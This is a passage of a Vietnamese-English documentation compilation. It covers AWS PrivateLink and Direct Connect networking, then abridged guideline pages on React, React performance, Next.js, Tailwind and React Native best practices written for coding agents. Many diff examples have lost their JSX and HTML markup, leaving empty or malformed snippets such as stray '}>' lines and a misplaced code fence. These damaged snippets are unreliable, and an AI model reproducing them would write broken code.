VPC của bạn thông qua secure VPN tunnels. ## Securely Connect Resources, Even in Other VPCs Other companies sometimes cần flexibility để privately connect đến resources trong other cloud providers như though they were trong own VPC của họ. Họ cần một way để communicate với these resources và don't want hassle của setting up gateways hoặc site-to-site VPNs. That's where AWS PrivateLink có thể help. ### AWS PrivateLink AWS PrivateLink là một highly available, scalable technology mà bạn có thể sử dụng để privately connect VPC của bạn đến services và resources như if they were trong VPC của bạn. Bạn không cần sử dụng: - ❌ Internet gateway - ❌ NAT device - ❌ Public IP address - ❌ Direct Connect connection - ❌ AWS Site-to-Site VPN connection Để allow communication với AWS services hoặc resources từ private subnets của bạn. Instead, bạn control specific API endpoints, sites, services, và resources mà are reachable từ VPC của bạn. [code mermaid] flowchart LR subgraph VPC["VPC của bạn"] C["Client trong private subnet"] end C -->|"AWS PrivateLink"| S["AWS service, VPC khác, service của cloud provider khác"] C -.- N["Không cần: internet gateway, NAT, public IP, Direct Connect, Site-to-Site VPN"] [/code] #### Benefits của AWS PrivateLink - 🔒 Secure traffic - Bảo mật lưu lượng - 🔗 Connect với simplified management rules - Kết nối với quy tắc quản lý đơn giản - 🚫 No internet gateway required - Không cần internet gateway - 🔐 Private connectivity - Kết nối riêng tư #### Use Cases - ✅ Connecting clients trong VPC của bạn đến resources - Kết nối clients trong VPC đến resources - ✅ Connecting đến other VPCs - Kết nối đến các VPC khác - ✅ Connecting đến endpoints - Kết nối đến endpoints - ✅ Connecting đến services trong other cloud providers - Kết nối đến services trong các cloud providers khác Even though preceding connections là highly available và scalable, traffic jams are possible vì bạn're sử dụng cùng connection như other clients. That's why cho một số use cases, bạn có thể cần một dedicated private connection với a lot of bandwidth. ## Dedicated Private Connections for Increased Bandwidth ### AWS Direct Connect Direct Connect là một service mà makes it possible để bạn establish một dedicated private connection giữa network của bạn và VPC trong AWS Cloud. #### Benefits của AWS Direct Connect - 💰 Reduces network costs - Giảm chi phí mạng - 📈 Increases amount of bandwidth - Tăng lượng băng thông - 🔒 Dedicated private connection - Kết nối riêng tư chuyên dụng - ⚡ Consistent, low-latency network experience - Trải nghiệm mạng nhất quán, độ trễ thấp Để learn more về Direct Connect, expand từng của following three categories: ### 1. Latency-Sensitive Applications [… phần còn lại đã lược bớt] ============================================================================ # Phần 1 - React Best Practices URL: https://tiennhm.io.vn/docs/agent-skills/agent-skills-01-react-best-practices Source: docs/08-agent-skills/01-react-best-practices.md Description: Tổng hợp 53 guideline React best practices cho Agent Skills - State, Effects, Rendering, Components, Props, Events, Forms, Hooks, Context, Performance, Testing, Accessibility, TypeScript. Tags: agent-skills, react, best-practices, cursor Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/agent-skills/agent-skills-01-react-best-practices # Agent Skills - Phần 1: React Best Practices Tài liệu tổng hợp 53 guideline React best practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor), bao gồm State, Effects, Rendering, Components, Props, Events, Forms, Hooks, Context, Performance, Testing, Accessibility và TypeScript. Mỗi guideline được đánh giá mức độ quan trọng (Cao/Trung bình/Thấp) và có ví dụ code cụ thể về nên làm và không nên làm. Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill. Tài liệu này tổng hợp React Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor). Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill (https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) — file react.csv (https://raw.githubusercontent.com/nextlevelbuilder/ui-ux-pro-max-skill/refs/heads/main/src/ui-ux-pro-max/data/stacks/react.csv). Cập nhật: 08/02/2026. Mức độ: 🔴 Cao · 🟡 Trung bình · 🟢 Thấp Ví dụ code: `+` nên · `-` tránh ## 1. State ### 1.1 🟡 Use useState for local state Simple component state nên dùng hook `useState`. - Nên: `useState` cho form inputs, toggles, counters. [code diff] + const [count, setCount] = useState(0); [/code] - Không nên: Class components với `this.state`. [code diff] - this.state = { count: 0 }; [/code] 📖 useState – React (https://react.dev/reference/react/useState) ### 1.2 🟡 Lift state up when needed Chia sẻ state giữa các component anh em bằng cách “lift state” lên component cha chung. - Nên: Đưa state dùng chung lên ancestor chung. [code diff] + // Parent giữ state và truyền xuống [/code] - Không nên: Prop drilling qua nhiều tầng. [code diff] - // chuỗi props dài qua nhiều cấp [/code] 📖 Sharing state between components (https://react.dev/learn/sharing-state-between-components) ### 1.3 🟡 Use useReducer for complex state State phức tạp (nhiều trường con, logic cập nhật phức tạp) nên dùng reducer. - Nên: `useReducer` khi state có nhiều sub-values hoặc cập nhật cùng lúc. [code diff] + useReducer with action types [/code] - Không nên: Nhiều `useState` riêng lẻ cho các giá trị liên quan. [code diff] - 5+ useState cập nhật cùng nhau [/code] 📖 useReducer – React (https://react.dev/reference/react/useReducer) ### 1.4 🔴 Avoid unnecessary state Ưu tiên tính toán từ state hiện có thay vì lưu giá trị dẫn xuất vào state. - Nên: Tính derived values trong lúc render. [code diff] + const total = items.reduce(...); [/code] - Không nên: Lưu giá trị có thể suy ra từ state khác. [code diff] - const [total, setTotal] = useState(0); [/code] 📖 Choosing the state structure (https://react.dev/learn/choosing-the-state-structure) ### 1.5 🟡 Initialize state lazily Với initial state tốn kém tính toán, dùng dạng hàm để khởi tạo lazy. - Nên: `useState(() => computeExpensive())`. [code diff] + useState(() => JSON.parse(data)); [/code] - Không nên: `useState(computeExpensive())` (chạy mỗi lần render). [code diff] - useState(JSON.parse(data)); [/code] 📖 Avoiding recreating the initial state (https://react.dev/reference/react/useState#avoiding-recreating-the-initial-state) ## 2. Effects ### 2.1 🔴 Clean up effects Subscription, timer, listener phải có cleanup trong `useEffect`. - Nên: Return cleanup function trong `useEffect`. [code diff] + useEffect(() => { + sub(); + return unsub; + }, []); [/code] - Không nên: Bỏ qua cleanup cho subscriptions/timers. [code diff] - useEffect(() => { - subscribe(); - }, []); [/code] 📖 Connecting to an external system (https://react.dev/reference/react/useEffect#connecting-to-an-external-system) ### 2.2 🔴 Specify dependencies correctly Mọi giá trị đọc trong effect phải có trong mảng dependency. - Nên: Đưa đủ giá trị dùng trong effect vào deps. [code diff] + // [value] khi dùng value trong effect + useEffect(() => { ... }, [value]); [/code] - Không nên: `[]` nhưng vẫn dùng props/state trong effect. [code diff] - // [] nhưng dùng props/state trong effect - useEffect(() => { ... }, []); [/code] 📖 Specifying reactive dependencies (https://react.dev/reference/react/useEffect#specifying-reactive-dependencies) ### 2.3 🔴 Avoid unnecessary effects Không dùng effect để “transform data” hay xử lý event thuần — làm trong render hoặc event handler. - Nên: Transform data khi render, xử lý event trực tiếp trong handler. [code diff] + const filtered = items.filter(...); [/code] - Không nên: `useEffect` cho derived state hoặc event handling. [code diff] - useEffect(() => setFiltered(items.filter(...)), [items]); [/code] 📖 You might not need an Effect (https://react.dev/learn/you-might-not-need-an-effect) ### 2.4 🟡 Use refs for non-reactive values Giá trị không cần trigger re-render (interval ID, DOM ref, instance) nên dùng `useRef`. - Nên: `useRef` cho interval IDs, DOM elements. [code diff] + const intervalRef = useRef(null); [/code] - Không nên: `useState` cho giá trị không cần render. [code diff] - const [intervalId, setIntervalId] = useState(); [/code] 📖 useRef – React (https://react.dev/reference/react/useRef) ## 3. Rendering ### 3.1 🔴 Use keys properly List động cần key ổn định và unique (ID), không dùng index khi thứ tự/thêm/xóa thay đổi. - Nên: Stable IDs làm key. [code diff] + key={item.id} [/code] - Không nên: Array index làm key cho list động. [code diff] - key={index} [/code] 📖 Keeping list items in order with key (https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key) ### 3.2 🟡 Memoize expensive calculations Tính toán nặng nên bọc trong `useMemo` với dependency đúng. - Nên: `useMemo` cho filter/sort/transform tốn kém. [code diff] + useMemo(() => expensive(), [deps]); [/code] - Không nên: Gọi hàm nặng mỗi lần render không cần thiết. [code diff] - const result = expensiveCalc(); [/code] 📖 useMemo – React (https://react.dev/reference/react/useMemo) ### 3.3 🟡 Memoize callbacks passed to children Handler truyền xuống component con (đặc biệt đã `memo`) nên dùng `useCallback` để tránh re-render không cần thiết. - Nên: `useCallback` cho handlers truyền vào children đã memo. [code diff] + useCallback(() => {}, [deps]); [/code] - Không nên: Tạo function mới mỗi lần render. [… phần còn lại đã lược bớt] ============================================================================ # Phần 2 - React Performance Best Practices URL: https://tiennhm.io.vn/docs/agent-skills/agent-skills-11-react-performance Source: docs/08-agent-skills/02-react-performance-best-practices.md Description: Checklist tối ưu hiệu năng React/Next.js – async waterfall, bundle size, caching, rerender, rendering, JS perf – trích từ react-performance.csv cho Agent Skills. Tags: agent-skills, react, performance, nextjs Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/agent-skills/agent-skills-11-react-performance # Agent Skills - Phần 11: React Performance Best Practices Tài liệu tóm tắt React/Next.js performance best practices dùng làm checklist cho Agent khi refactor hoặc review code, bao gồm 7 nhóm chính: Async Waterfall & Data fetching, Bundle Size & Code splitting, Server-side caching & RSC boundaries, Client caching (SWR) & event listeners, Rerender tối ưu, Rendering & hydration, và JS performance & advanced patterns. Mỗi mục có ví dụ cụ thể về nên làm và không nên làm để tối ưu hiệu năng ứng dụng React/Next.js. Tài liệu này tóm tắt React/Next.js performance best practices dùng làm checklist cho Agent khi refactor hoặc review code. Nguồn: `react-performance.csv` (https://raw.githubusercontent.com/nextlevelbuilder/ui-ux-pro-max-skill/refs/heads/main/src/ui-ux-pro-max/data/react-performance.csv) từ ui-ux-pro-max-skill (https://github.com/nextlevelbuilder/ui-ux-pro-max-skill). Nhóm chính: 1. Async Waterfall & Data fetching 2. Bundle Size & Code splitting 3. Server-side caching & RSC boundaries 4. Client caching (SWR) & event listeners 5. Rerender tối ưu (state/effect) 6. Rendering & hydration 7. JS performance & advanced patterns Trong mỗi mục: Nên có ví dụ `+` · Không nên có ví dụ `-`. ## 1. Async Waterfall & Data Fetching ### 1.1 🔴 Tránh await blocking trên mọi branch (Async Waterfall) - Nên: Chỉ `await` trong branch thực sự cần. [code diff] + if (skip) return { skipped: true }; + const data = await fetch(); [/code] - Không nên: Await ở đầu function rồi mới kiểm tra branch. [code diff] - const data = await fetch(); - if (skip) return { skipped: true }; [/code] ### 1.2 🔴 Promise.all cho async độc lập - Nên: Chạy song song khi không phụ thuộc nhau. [code diff] + const [user, posts] = await Promise.all([ + fetchUser(), + fetchPosts(), + ]); [/code] - Không nên: Await tuần tự cho các request độc lập. [code diff] - const user = await fetchUser(); - const posts = await fetchPosts(); [/code] Hai request độc lập, chạy tuần tự thì tổng thời gian là tổng hai request; chạy song song thì chỉ bằng request lâu nhất: [code mermaid] gantt title Hai request độc lập (thời gian minh hoạ) dateFormat x axisFormat %L ms section Tuần tự fetchUser() :s1, 0, 300ms fetchPosts() :s2, after s1, 300ms section Promise.all fetchUser() :p1, 0, 300ms fetchPosts() :p2, 0, 300ms [/code] ### 1.3 🔴 Tối ưu API Route – start promises early, await late - Nên: Khởi tạo promise sớm, `await` khi thật cần trả về. [code diff] + const sessionP = auth(); + const configP = fetchConfig(); + const session = await sessionP; + const config = await configP; [/code] - Không nên: `await` tuần tự trong handler API. [code diff] - const session = await auth(); - const config = await fetchConfig(); [/code] ### 1.4 🔴 Dùng Suspense để tránh chặn cả page - Nên: Wrap phần async trong `Suspense` với skeleton. [code diff] + }> + + [/code] - Không nên: Đợi fetch xong hết rồi mới render page. [code diff] - const data = await fetchData(); - return ; [/code] ### 1.5 🟡 Parallel fetch bằng composition trong RSC - Nên: Để `Header` / `Sidebar` tự fetch → chạy song song trong tree. [code diff] + export default function Page() { + return ( + <> +
    + + + + ); + } [/code] - Không nên: Fetch từng phần tuần tự trong component cha. ## 2. Bundle Size & Code Splitting ### 2.1 🔴 Tránh barrel import cho lib lớn - Nên: Import trực tiếp icon/component cần dùng. [code diff] + import Check from 'lucide-react/dist/esm/icons/check'; [/code] - Không nên: Import từ barrel `index` kéo theo nhiều module không dùng. [code diff] - import { Check } from 'lucide-react'; [/code] ### 2.2 🔴 Dynamic import cho component nặng - Nên: Lazy-load editor/chart/... bằng `next/dynamic`. [code diff] + const Monaco = dynamic(() => import('./MonacoEditor'), { ssr: false }); [/code] - Không nên: Import thẳng editor ở top – vào main bundle. [code diff] - import MonacoEditor from './MonacoEditor'; [/code] ### 2.3 🟡 Defer third-party (analytics, logging) - Nên: Dynamic import sau hydration / khi cần. [code diff] + const Analytics = dynamic(() => import('@vercel/analytics/react'), { + ssr: false, + }); [/code] - Không nên: Nhét analytics vào bundle chính. [code diff] - import { Analytics } from '@vercel/analytics/react'; [/code] ### 2.4 🔴 Conditional loading cho feature hiếm dùng - Nên: Chỉ load module nặng khi bật feature. [code diff] + useEffect(() => { + if (enabled) { + import('./heavy'); + } + }, [enabled]); [/code] - Không nên: Import module nặng mọi lúc. [code diff] - import './heavy'; [/code] ## 3. Server-side Caching & RSC Boundaries ### 3.1 🟡 `React.cache` để dedupe fetch trong 1 request - Nên: Wrap fetcher bằng `cache()` để tránh gọi lặp lại trong tree. [code diff] + export const getUser = cache(async () => { + return db.user.find(); + }); [/code] ### 3.2 🟡 LRU cache cho cross-request - Nên: Cache dữ liệu ít đổi (config, feature flags...) bằng LRU. [code diff] + const cache = new LRUCache({ max: 1000, ttl: 5 * 60 * 1000 }); [/code] ### 3.3 🔴 Giảm serialization giữa Server & Client Component - Nên: Truyền đúng field client cần, không pass cả object to. [code diff] + [/code] - Không nên: Pass full `user` 50 field qua boundary. [code diff] - [/code] ### 3.4 🟡 Dùng `after()` cho work không block response (Next.js) - Nên: Logging/analytics chạy sau khi trả response. [code diff] + after(async () => { + await logAction(); + }); + return Response.json(data); [/code] - Không nên: Đợi log xong mới trả response. [code diff] - await logAction(); - return Response.json(data); [/code] ## 4. Client Caching & Shared Event Listeners ### 4.1 🟡 Dùng SWR cho fetch client-side - Nên: `useSWR` để tự dedupe + cache + revalidate. [code diff] + const { data } = useSWR('/api/users', fetcher); [/code] - Không nên: Tự fetch trong `useEffect` mỗi lần mount. [… phần còn lại đã lược bớt] ============================================================================ # Phần 3 - Next.js Best Practices URL: https://tiennhm.io.vn/docs/agent-skills/agent-skills-02-nextjs-best-practices Source: docs/08-agent-skills/03-nextjs-best-practices.md Description: Tổng hợp guideline Next.js best practices cho Agent Skills – Routing, Rendering, Data Fetching, Images, Fonts, Metadata, API, Middleware, Environment, Performance, Security. Tags: agent-skills, nextjs, best-practices, cursor Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/agent-skills/agent-skills-02-nextjs-best-practices # Agent Skills - Phần 2: Next.js Best Practices Tài liệu tổng hợp Next.js Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor), bao gồm các chủ đề: Routing, Rendering, Data Fetching, Images, Fonts, Metadata, API, Middleware, Environment, Performance và Security. Mỗi guideline được đánh giá mức độ quan trọng và có ví dụ code cụ thể. Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill, giúp developers và AI Agents xây dựng ứng dụng Next.js hiệu quả và tuân thủ best practices. Tài liệu này tổng hợp Next.js Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor). Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill (https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) — file `nextjs.csv` (https://raw.githubusercontent.com/nextlevelbuilder/ui-ux-pro-max-skill/refs/heads/main/src/ui-ux-pro-max/data/stacks/nextjs.csv). Cập nhật: 08/02/2026. Mức độ: 🔴 Cao · 🟡 Trung bình · 🟢 Thấp Ví dụ code: `+` nên · `-` tránh ## 1. Routing ### 1.1 🟡 Use App Router for new projects App Router (`app/`) là cách tiếp cận được khuyến nghị cho Next.js 14+. - Nên: Dùng `app/` directory với `page.tsx` cho route mới. [code diff] + app/dashboard/page.tsx [/code] - Không nên: Bắt đầu project mới với `pages/`. [code diff] - pages/dashboard.tsx [/code] 📖 `App Router` (https://nextjs.org/docs/app) ### 1.2 🟡 Use file-based routing Routing nên hoàn toàn dựa trên cấu trúc file trong `app/`. - Nên: Dùng `page.tsx` cho route và `layout.tsx` cho layout. [code diff] + app/blog/[slug]/page.tsx [/code] - Không nên: Tự cấu hình router thủ công. [code diff] - Custom router setup [/code] 📖 Routing fundamentals (https://nextjs.org/docs/app/building-your-application/routing) ### 1.3 🟢 Colocate related files Colocate component, styles, tests ngay cạnh route để dễ bảo trì. - Nên: Đặt component liên quan cạnh `page.tsx`. [code diff] + app/dashboard/_components/ [/code] - Không nên: Một `components/dashboard/` chung cho mọi nơi. [code diff] - components/dashboard/ [/code] ### 1.4 🟢 Use route groups for organization Route groups giúp tổ chức folder mà không ảnh hưởng URL. - Nên: Dùng dấu ngoặc `()` cho route groups. [code diff] + (marketing)/about/page.tsx [/code] - Không nên: Tạo folder thật làm thay đổi URL. [code diff] - marketing/about/page.tsx [/code] 📖 Route groups (https://nextjs.org/docs/app/building-your-application/routing/route-groups) ### 1.5 🟡 Handle loading states with loading.tsx Loading UI nên tách riêng bằng `loading.tsx` cho từng route. - Nên: Tạo `loading.tsx` cạnh `page.tsx`. [code diff] + app/dashboard/loading.tsx [/code] - Không nên: Dùng `useState` loading trong chính page cho mọi thứ. [code diff] - useState for loading in page [/code] 📖 Loading UI and streaming (https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming) ### 1.6 🔴 Handle errors with error.tsx Error nên được bắt ở cấp route bằng `error.tsx`. - Nên: Tạo `error.tsx` với hàm `reset` để retry. [code diff] + app/dashboard/error.tsx [/code] - Không nên: `try/catch` lặp lại trong mọi component. [code diff] - try/catch in page component [/code] 📖 Error handling (https://nextjs.org/docs/app/building-your-application/routing/error-handling) ## 2. Rendering ### 2.1 🔴 Use Server Components by default Server Components giúp giảm lượng JS gửi xuống client. - Nên: Giữ component là Server Component trừ khi cần interactivity. [code diff] + export default function Page() {} [/code] - Không nên: Thêm `'use client'` khi không cần. [code diff] - ('use client') for static content [/code] 📖 Server Components (https://nextjs.org/docs/app/building-your-application/rendering/server-components) ### 2.2 🔴 Mark Client Components explicitly Component cần hooks / event handler phải là Client Component có `'use client'`. - Nên: Thêm `'use client'` ở đầu file khi dùng `useState`, `onClick`, ... [code diff] + 'use client' + // component với useState / events [/code] - Không nên: Dùng hooks trong Server Component hoặc quên directive. [code diff] - No directive with useState [/code] 📖 Client Components (https://nextjs.org/docs/app/building-your-application/rendering/client-components) ### 2.3 🔴 Push Client Components down Giữ Client Component ở leaf node để tối thiểu hóa JS phía client. - Nên: Bọc phần interactive trong client wrapper riêng. [code diff] + // client leaf [/code] - Không nên: Đánh dấu cả `page.tsx` là Client Component khi không cần. [code diff] - ('use client') on page.tsx [/code] Ranh giới `'use client'` càng nằm sâu thì càng ít JS phải gửi xuống trình duyệt: [code mermaid] flowchart TD P["page.tsx (Server Component)"] --> H["Nội dung tĩnh (Server)"] P --> L["Danh sách dữ liệu (Server)"] L --> B["InteractiveButton ('use client')"] [/code] ### 2.4 🟡 Use streaming with Suspense Streaming giúp render sớm phần nhanh, trì hoãn phần chậm. - Nên: Dùng `Suspense` cho phần fetch chậm. [code diff] + + + [/code] - Không nên: Chờ tất cả data xong rồi mới render. [code diff] - await allData; // rồi mới render [/code] 📖 Loading UI and streaming (https://nextjs.org/docs/app/building-your-application/routing/loading-ui-and-streaming) ### 2.5 🟡 Choose the correct rendering strategy Chọn giữa SSG, SSR, ISR tùy đặc tính dữ liệu. - Nên: Dùng `generateStaticParams` + `revalidate` hợp lý. [code diff] + export const revalidate = 3600; [/code] - Không nên: Dùng SSR cho nội dung hoàn toàn tĩnh hoặc fetch không cấu hình cache. [code diff] - fetch(url) // không cấu hình cache [/code] ## 3. Data Fetching ### 3.1 🔴 Fetch data in Server Components Data ban đầu nên fetch trong Server Component async, không phải `useEffect`. - Nên: Fetch trực tiếp trong `async function Page()`. [code diff] + async function Page() { + const data = await fetch(url); + // ... + } [/code] - Không nên: Dùng `useEffect` để fetch initial data. [code diff] - useEffect(() => fetch(url), []); [/code] 📖 Data fetching (https://nextjs.org/docs/app/building-your-application/data-fetching) [… phần còn lại đã lược bớt] ============================================================================ # Phần 4 - HTML + Tailwind Best Practices URL: https://tiennhm.io.vn/docs/agent-skills/agent-skills-03-html-tailwind-best-practices Source: docs/08-agent-skills/04-html-tailwind-best-practices.md Description: Tổng hợp guideline HTML + Tailwind CSS best practices cho Agent Skills – Animation, Layout, Images, Typography, Colors, Spacing, Forms, Responsive, Buttons, Cards, Accessibility, Performance, Plugins, Interactivity, Customization. Tags: agent-skills, tailwind, html, best-practices, cursor Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/agent-skills/agent-skills-03-html-tailwind-best-practices # Agent Skills - Phần 3: HTML + Tailwind Best Practices Tài liệu tổng hợp HTML + Tailwind CSS Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor), bao gồm các chủ đề: Animation, Layout, Images, Typography, Colors, Spacing, Forms, Responsive, Buttons, Cards, Accessibility, Performance, Plugins, Interactivity và Customization. Mỗi guideline được đánh giá mức độ quan trọng và có ví dụ code cụ thể. Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill, giúp developers và AI Agents xây dựng UI với Tailwind CSS hiệu quả và tuân thủ best practices. Tài liệu này tổng hợp HTML + Tailwind CSS Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor). Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill (https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) — file `html-tailwind.csv` (https://raw.githubusercontent.com/nextlevelbuilder/ui-ux-pro-max-skill/refs/heads/main/src/ui-ux-pro-max/data/stacks/html-tailwind.csv). Cập nhật: 08/02/2026. Mức độ: 🔴 Cao · 🟡 Trung bình · 🟢 Thấp Ví dụ code: `+` nên · `-` tránh ## 1. Animation ### 1.1 🟡 Use Tailwind animate utilities Ưu tiên các utility animation built-in của Tailwind (tối ưu & tôn trọng `prefers-reduced-motion`). - Nên: Dùng `animate-pulse`, `animate-spin`, `animate-ping` cho hiệu ứng đơn giản. [code diff] +
    ...
    [/code] - Không nên: Tự khai báo `@keyframes` cho các hiệu ứng đơn giản Tailwind đã có sẵn. [code diff] - @keyframes pulse { ... } [/code] 📖 Animation – Tailwind (https://tailwindcss.com/docs/animation) ### 1.2 🔴 Limit bounce animations Hiệu ứng `bounce` liên tục dễ gây mệt mỏi/motion sickness. - Nên: Chỉ dùng `animate-bounce` cho 1 CTA quan trọng. [code diff] + [/code] - Không nên: Đặt `animate-bounce` cho nhiều phần tử cùng lúc. [code diff] - 5+ elements with animate-bounce [/code] ### 1.3 🟡 Choose appropriate transition duration Transition UI nên nhanh nhưng vẫn mượt, khoảng 150–300ms. - Nên: Dùng `duration-150`–`duration-300` cho feedback UI. [code diff] + [/code] - Không nên: Transition quá chậm cho thao tác thường ngày. [code diff] - [/code] 📖 Transition duration (https://tailwindcss.com/docs/transition-duration) ### 1.4 🟢 Smooth hover transitions Hover nên có transition thay vì “giật” màu đột ngột. - Nên: Thêm `transition-` khi có `hover:`. [code diff] + Link [/code] - Không nên: Đổi màu hover mà không có transition. [code diff] - Link [/code] ## 2. Z-Index ### 2.1 🟡 Use Tailwind z-* scale Giữ `z-index` theo scale chuẩn của Tailwind để dễ kiểm soát stacking. - Nên: Dùng `z-0`, `z-10`, `z-20`, `z-30`, `z-40`, `z-50`. [code diff] +
    Modal
    [/code] - Không nên: Dùng giá trị tuỳ ý như `z-[9999]` cho mọi thứ. [code diff] -
    Modal
    [/code] 📖 Z-Index (https://tailwindcss.com/docs/z-index) ### 2.2 🔴 Fixed elements need explicit z-index Navbar, modal, dropdown cố định phải set `z-index` rõ ràng. - Nên: Đặt `z-50` cho nav, `z-40` cho dropdown, v.v. [code diff] +
    ...
    [/code] - Không nên: Dựa vào DOM order, không set `z-index`. [code diff] -
    ...
    [/code] ### 2.3 🟢 Use negative z-index for backgrounds Background trang trí nên nằm phía sau content bằng negative z-index. - Nên: Dùng `-z-10` / `z-[-1]` cho layer nền. [code diff] +
    Background
    [/code] - Không nên: Dùng `z-10` cho background rồi phải “đè” mọi thứ khác lên. [code diff] -
    Background
    ``> --- ## 3. Layout ### 3.1 🟡 Container max-width for readability Nội dung chính nên giới hạn chiều rộng để dễ đọc. - **Nên:** Dùng `max-w-7xl mx-auto` (kèm `px` responsive) cho vùng content. ```diff +
    ...
    [/code] - Không nên: Để `w-full` full-width trên màn hình rất rộng. [code diff] -
    ...
    [/code] 📖 Container (https://tailwindcss.com/docs/container) ### 3.2 🟡 Responsive padding Padding nên thay đổi theo breakpoint để phù hợp từng màn hình. - Nên: Kết hợp `px-4 sm:px-6 lg:px-8` (hoặc tương tự). [code diff] +
    ...
    [/code] - Không nên: Dùng một padding cố định cho mọi kích thước. [code diff] -
    ...
    [/code] ### 3.3 🟡 Use grid/flex gaps, not margins Khoảng cách trong grid/flex nên dùng `gap-*` thay vì margin từng item. - Nên: Dùng `gap-4`, `gap-6`, `gap-8`. [code diff] +
    ...
    [/code] - Không nên: Set `mb-*` trên từng phần tử để tạo khoảng cách. [code diff] -
    -
    ...
    -
    ...
    -
    [/code] 📖 Gap (https://tailwindcss.com/docs/gap) ### 3.4 🟢 Flexbox for alignment Canh hàng ngang/dọc nên dùng flex utility thay vì nhiều wrapper. - Nên: Dùng `flex items-center justify-between`. [code diff] +
    ...
    [/code] - Không nên: Tạo nhiều ` ` lồng nhau chỉ để căn giữa. [code diff] -
    -
    -
    ...
    -
    -
    [/code] ### 3.5 🟡 Container queries for component-based layout Dùng container queries cho layout phụ thuộc container, không chỉ viewport. - Nên: Sử dụng `@container` + utility `@lg:` cho component phức tạp. [code diff] +
    +
    ...
    +
    [/code] - Không nên: Viết media query thủ công trong từng component. [code diff] - @media (min-width: 1024px) { - .card-grid { grid-template-columns: repeat(2, minmax(0, 1fr)); } - } [/code] 📖 Container queries plugin (https://github.com/tailwindlabs/tailwindcss-container-queries) [… phần còn lại đã lược bớt] ============================================================================ # Phần 5 - React Native Best Practices URL: https://tiennhm.io.vn/docs/agent-skills/agent-skills-04-react-native-best-practices Source: docs/08-agent-skills/05-react-native-best-practices.md Description: Tổng hợp guideline React Native best practices cho Agent Skills – Components, Styling, Navigation, State, Lists, Performance, Images, Forms, Touch, Animation, Async, Accessibility, Testing, Native. Tags: agent-skills, react-native, best-practices, cursor Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/agent-skills/agent-skills-04-react-native-best-practices # Agent Skills - Phần 4: React Native Best Practices Tài liệu tổng hợp React Native Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor), bao gồm các chủ đề: Components, Styling, Navigation, State, Lists, Performance, Images, Forms, Touch, Animation, Async, Accessibility, Testing và Native modules. Mỗi guideline được đánh giá mức độ quan trọng và có ví dụ code cụ thể. Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill, giúp developers và AI Agents xây dựng ứng dụng React Native hiệu quả và tuân thủ best practices. Tài liệu này tổng hợp React Native Best Practices dùng làm nguồn tham chiếu cho Agent Skills (ví dụ trong Cursor). Nội dung dựa trên bộ guideline từ ui-ux-pro-max-skill (https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) — file `react-native.csv` (https://raw.githubusercontent.com/nextlevelbuilder/ui-ux-pro-max-skill/refs/heads/main/src/ui-ux-pro-max/data/stacks/react-native.csv). Cập nhật: 08/02/2026. Mức độ: 🔴 Cao · 🟡 Trung bình · 🟢 Thấp Ví dụ code: `+` nên · `-` tránh ## 1. Components ### 1.1 🟡 Use functional components React Native hiện đại chuẩn là function component + hooks. - Nên: Dùng functional component với hooks. [code diff] + const App = () => { ... } [/code] - Không nên: Viết class component mới. [code diff] - class App extends Component { ... } [/code] 📖 Intro to React – React Native (https://reactnative.dev/docs/intro-react) ### 1.2 🟡 Keep components small Áp dụng Single Responsibility Principle – mỗi component làm một việc rõ ràng. - Nên: Tách UI thành các component nhỏ: header, content, footer... [code diff] +
    + +